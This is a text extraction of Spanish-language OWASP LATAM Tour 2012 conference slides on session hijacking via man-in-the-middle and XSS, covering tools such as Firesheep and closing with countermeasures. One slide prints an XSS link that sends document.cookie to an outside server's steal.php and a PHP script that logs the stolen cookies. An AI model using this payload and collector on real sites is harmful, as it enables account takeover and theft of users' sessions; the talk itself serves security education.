Session Hijacking: Secuestro de sesiones en aplicaciones web

Transcripción

Session Hijacking: Secuestro de sesiones en aplicaciones web
Session Hijacking: Secuestro de sesiones en
aplicaciones web empresariales
OMAR PALOMINO HUAMANÍ
KUNAK CONSULTING SAC
[email protected]
[email protected]
Telef: 973861650
http://www.el-palomo.com
The OWASP Foundation
http://www.owasp.org
OWASP LATAM TOUR 2012
AGRADECIMIENTOS A :
OWASP LATAM TOUR 2012
2
Derechos de Autor y Licencia
Copyright © 2003 – 2012 Fundación OWASP
Este documento es publicado bajo la licencia Creative Commons Attribution ShareAlike 3.0.
Para cualquier reutilización o distribución, usted debe dejar en claro a otros los términos de
la licencia sobre este trabajo.
The OWASP Foundation
http://www.owasp.org
• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3.
• Consultor
en
seguridad
de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritor en mis tiempos libres:
http://www.el-palomo.com
http://www.facebook.com/El.Palomo.Seguridad.Informacion
OWASP LATAM TOUR 2012
INDICE
1. Introducción
•
•
•
¿Qué es el session hijacking?
Objetivo de la presentación
Ejercicio 1: Demostración de la facilidad del robo de sesiones
2. ¿Soy vulnerable?
•
•
Técnicas y métodos de explotación
Escenarios de ataque:
•
Ejercicio 2: Hombre en el medio (MiTM)
•
Ejercicio 3: Cross Site Scripting (XSS)
3. Robo de sesiones en aplicaciones web comerciales: Hotmail,
Facebook y Wordpress
4. Técnicas y método para evitar el secuestro/robo de sesiones
5. Conclusiones
OWASP LATAM TOUR 2012
5
RESUMEN
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
¿Qué es session hijacking?
 Es el secuestro/robo de sesiones (identificación) de usuarios
para lograr acceso privilegiado a una aplicación web
comprometiendo la integridad y confidencialidad de la
información.
OWASP LATAM TOUR 2012
6
RESUMEN
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
IMPORTANCIA
 La inadecuada gestión de sesiones en aplicaciones web
empresariales se ha convertido en la tercera vulnerabilidad en
aplicaciones web (OWASP Top 10 – 2010)
 El impacto de explotar esta vulnerabilidad es CRÍTICO debido a
la exposición de información restringida para el negocio.
OWASP LATAM TOUR 2012
7
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
Funcionamiento: Man in the middle
El usuario ha ingresado
normalmente a una aplicación
web comercial o corporativo,
como:
• Hotmail
• Facebook
• Aplicaciones web
particulares (corporativos)
1
2
El
Importante:
El usuario (la víctima) no se entera que su sesión
de aplicación web ha sido vulnerada.
OWASP LATAM TOUR 2012
atacante
encuentra
mecanismo
un
para
averiguar el identificador de
SESIÓN y realizar el secuestro
de la sesión del usuario.
8
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
Funcionamiento: Cross Site Scripting
1. Un usuario normal ingresa a la
App. Web y ejecuta el código
Javascript.
2
2. El código Javascript envía el
código de Sesión al servidor web
externo.
1
Importante:
Un usuario perspicaz puede darse cuenta de la
inserción de código malicioso en la página web.
OWASP LATAM TOUR 2012
1. El usuario malicioso prepara un
servidor
web
externo
para
almacenar las sesiones.
2. El usuarios malicioso coloca
código JavaScript sobre la App.
Web Vulnerable.
9
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Funcionamiento: Cross Site Scripting
Conclusiones y
contramedidas
<?php
$session = $_GET["cookie"];
$date = date("l ds of F Y h:i:s A");
$user_agent =
$_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt','a');
fwrite($file, "DATE: $date || USER
AGENT: $user_agent || COOKIE:
$session \n");
fclose($file);
1
Importante:
Un usuario perspicaz puede darse cuenta de la inserción de
código malicioso en la página web.
OWASP LATAM TOUR 2012
header("Location:
http://XXXXXXX/hijacking/listado.php");
?>
<a href="#"
onClick=document.location="htt
p://192.168.1.48/steal.php?cook
ie="+escape(document.cookie);>
Ver aqui los detalles</a>
10
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
¿Por qué sucede esto?
Conclusiones y
contramedidas
Cuando el usuario ingresa a una página web:
1. Se crea una sesión aleatoria en el servidor
web , esta sesión se almacena en una cookie
o en una sesión .
2. Esta cookie viaja por la web cada vez que el
cliente navega por la aplicación. La cookie
contiene un identificador de sesión.
1
2
Esto sucede porque:
 La transmisión de la sesión viaja en
texto plano (MITM)
 Cross Site Scripting (XSS)
 Algoritmo débil de ID de sesión (sesiones
predecibles o muy pequeñas).
 Incorrecta configuración del bloqueo de sesiones.
 Sesiones que nunca expiran.
OWASP LATAM TOUR 2012
Herramientas
de secuestro de
sesiones
1. El atacante realiza un ataque para conseguir
la sesión del usuario:
 Hombre en el medio (Man in the middle –
MiTM)
 Predecir el identificador de sesión (Predict
Session)
 Cross site scripting (XSS)
 Otros de menos probabilidad
2. El atacante modifica la cookie e ingresa a la
aplicación web con el contenido restringido de
la víctima.
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
Vamos a la práctica
Aplicación web PHP :
1. Capturamos la sesión mediante la técnica de hombre en el
medio.
2. Identificamos la cookie y el número de sesión.
3. Modificamos la cookie mediante una herramienta: Advanced
Cookie Manager.
4. Accedemos a la aplicación sin usuario ni contraseña.
Aplicaciones web en internet (HOTMAIL):
1. Capturamos la sesión mediante la técnica de hombre en el
medio.
2. Identificamos la cookie: RPSTAuth
3. Modificamos la cookie mediante una herramienta: Advanced
Cookie Manager.
4. Accedemos a la aplicación sin usuario ni contraseña.
OWASP LATAM TOUR 2012
EJEMPLOS
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
Debemos automatizar el ataque….
Hamster y Ferret
Firesheep
Greasemonkey
OWASP LATAM TOUR 2012
• Ferret: Herramienta para formatear el archivo PCAP producto del sniffing.
• Hamster: Proxy que muestra las cookies formateadas por Ferret.
• Herramientas que funcionan en Windows y Linux.
• Plugin de Mozilla Firefox
• Automatiza de manera muy rápida el robo de sesiones.
• A la fecha (2012) el plugin está descontinuado.
• Plugin de Mozilla Firefox
• Permite ingresar la cookie capturada mediante MITM
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
Debemos automatizar el ataque….
Greasemonkey /
Wireshark Cookie Dump
OWASP LATAM TOUR 2012
• Plugin de Mozilla Firefox
• Permite ingresar la cookie capturada mediante MITM
¿Cómo funciona el
secuestro de sesiones?
Firesheep
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
• Plugin de Mozilla Firefox
• Automatiza de manera muy rápida el robo de sesiones.
• A la fecha (2012) el plugin está descontinuado.
1. El atacante realiza un
ataque para conseguir la
sesión
del
usuario
(MITM).
2. Firesheep
coge
el
identificador de sesión y
te permite ingresar a la
aplicación de la manera
más fácil y sencilla.
OWASP LATAM TOUR 2012
EJEMPLOS
Summary &
Conclusion
¿Cómo funciona el
secuestro de sesiones?
Secuestro de
sesiones de
forma manual
Herramientas
de secuestro de
sesiones
Conclusiones y
contramedidas
UTILIZAR CONEXIONES SSL PARA TODA LA PÁGINA WEB Y NO
SÓLO PARA EL LOGIN DE APLICACIONES WEB.
REALIZAR UN CORRECTO FILTRADO DE VARIABLES
APLICACIONES WEB PARA EVITAR ATAQUES XSS.
EN
EVITAR UTILIZAR REDES PÚBLICAS, ASEGURASE HACERLO A
TRAVÉS DE UNA CONEXIÓN VPN.
CONFIGURAR TODOS LOS SERVICIOS POSIBLES A TRAVÉS DE HTTPS:
Hotmail, Facebook, Twitter, etc.
OWASP LATAM TOUR 2012
19
Preguntas
The OWASP Foundation
http://www.owasp.org
OWASP LATAM TOUR 2012
20
Session Hijacking: Secuestro de sesiones en
aplicaciones web empresariales
OMAR PALOMINO HUAMANÍ
KUNAK CONSULTING SAC
[email protected]
[email protected]
Telef: 973861650
http://www.el-palomo.com
The OWASP Foundation
http://www.owasp.org
OWASP LATAM TOUR 2012

Documentos relacionados